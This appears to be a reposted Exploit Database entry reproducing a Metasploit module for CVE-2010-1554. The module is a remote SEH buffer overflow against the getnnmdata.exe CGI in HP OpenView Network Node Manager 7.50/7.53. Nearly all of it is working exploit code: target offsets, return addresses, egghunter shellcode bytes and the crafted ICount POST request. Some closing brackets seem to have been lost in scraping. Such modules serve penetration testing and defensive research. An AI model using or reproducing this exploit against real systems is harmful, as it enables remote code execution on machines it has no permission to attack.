HP OpenView Network Node Manager (OV NNM) – ‘getnnmdata.exe ICount’ CGI Buffer Overflow (Metasploit)

Exploit Database
135 阅读

作者： Metasploit

日期： 2011-03-24
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17040/

# $Id: hp_nnm_getnnmdata_icount.rb 12121 2011-03-24 00:49:33Z swtornio $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'HP OpenView Network Node Manager getnnmdata.exe (ICount) CGI Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.

By sending specially crafted ICount parameter to the getnnmdata.exe CGI,

an attacker may be able to execute arbitrary code.

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 12121 $',

'References' =>

[

[ 'CVE', '2010-1554' ],

[ 'OSVDB', '64976' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Privileged' => false,

'Payload'=>

{

'Space'=> 750,

'BadChars' => "\x00",

'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",

'DisableNops' => 'True',

'EncoderType' => Msf::Encoder::Type::AlphanumUpper,

'EncoderOptions' =>

{

'BufferRegister' => 'ECX',

'Platform' => 'win',

'Targets'=>

[

[ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 7582, 'Ret' => 0x5a01f277 } ],

[ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 2052, 'Ret' => 0x5a666d69 } ],

'DefaultTarget'=> 0,

'DisclosureDate' => 'May 11 2010'))

register_options( [ Opt::RPORT(80) ], self.class )

end

def exploit

egg = rand_text_alpha_upper(4)

hunter ="\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"

hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

boom =rand_text_alpha_upper(target['Offset'])

boom << generate_seh_record(target.ret)

boom << hunter + egg + egg

boom << payload.encoded

boom << rand_text_alpha_upper(9024 - payload.encoded.length)

sploit ="SnmpVals=&ICount=-9#{boom}"

print_status("Trying target #{target.name}...")

send_request_cgi({

'uri' => '/OvCgi/getnnmdata.exe',

'method' => 'POST',

'data' => sploit

}, 8)

handler

end